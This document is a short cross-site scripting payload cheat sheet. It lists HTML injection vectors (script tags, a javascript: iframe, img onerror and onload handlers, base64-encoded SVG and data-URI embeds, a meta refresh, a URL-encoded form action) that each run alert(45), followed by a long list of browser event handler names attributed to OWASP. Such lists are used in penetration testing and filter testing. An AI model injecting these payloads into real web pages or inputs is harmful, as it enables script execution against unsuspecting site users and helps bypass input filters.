HTML Tag

<script>alert(45)</script>
<iframe src="javascript:alert(45)"></iframe>
<img src="z" onerror=alert(45)>
<img src="[~~~.png]" onload=alert(45)>
<object data="data:application/x-shockwave-flash;base64,
RldTCSEAAABIAZAAZAAADAEARBEIAAAAQwIAAP9AAAAA"></object> 

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxMCIgaGVpZ2h0PSIxMCIgaWQ9InhzcyI+PHNjcmlwdCB0eXBlPSJ0ZXh0L2VjbWFzY3JpcHQiPmFsZXJ0KDQ1KTs8L3NjcmlwdD48L3N2Zz4=" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCg0NSk8L3NjcmlwdD4=">

<form action=data:text/html;charset=utf-8,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%34%35%29%3c%2f%73%63%72%69%70%74%3e>
<input type=submit>
</form>

<input type="hidden" accesskey="X" onclick="alert(45)">


Event Handler 

autofocus
onkeypress
accesskey

OWASP
FSCommand()
onAbort()
onActivate()
onAfterPrint()
onAfterUpdate()
onBeforeActivate()
onBeforeCopy()
onBeforeCut()
onBeforeDeactivate()
onBeforeEditFocus()
onBeforePaste()
onBeforePrint()
onBeforeUnload()
onBeforeUpdate()
onBegin()
onBlur()
onBounce()
onCellChange()
onChange()
onClick()
onContextMenu()
onControlSelect()
onCopy()
onCut()
onDataAvailable()
onDataSetChanged()
onDataSetComplete()
onDblClick()
onDeactivate()
onDrag()
onDragEnd()
onDragLeave()
onDragEnter()
onDragOver()
onDragDrop()
onDragStart()
onDrop()
onEnd()
onError()
onErrorUpdate()
onFilterChange()
onFinish()
onFocus()
onFocusIn()
onFocusOut()
onHashChange()
onHelp()
onInput()
onKeyDown()
onKeyPress()
onKeyUp()
onLayoutComplete()
onLoad()
onLoseCapture()
onMediaComplete()
onMediaError()
onMessage()
onMouseDown()
onMouseEnter()
onMouseLeave()
onMouseMove()
onMouseOut()
onMouseOver()
onMouseUp()
onMouseWheel()
onMove()
onMoveEnd()
onMoveStart()
onOffline()
onOnline()
onOutOfSync()
onPaste()
onPause()
onPopState()
onProgress()
onPropertyChange()
onReadyStateChange()
onRedo()
onRepeat()
onReset()
onResize()
onResizeEnd()
onResizeStart()
onResume()
onReverse()
onRowsEnter()
onRowExit()
onRowDelete()
onRowInserted()
onScroll()
onSeek()
onSelect()
onSelectionChange()
onSelectStart()
onStart()
onStop()
onStorage()
onSyncRestored()
onSubmit()
onTimeError()
onTrackChange()
onUndo()
onUnload()
onURLFlip()
seekSegmentTime()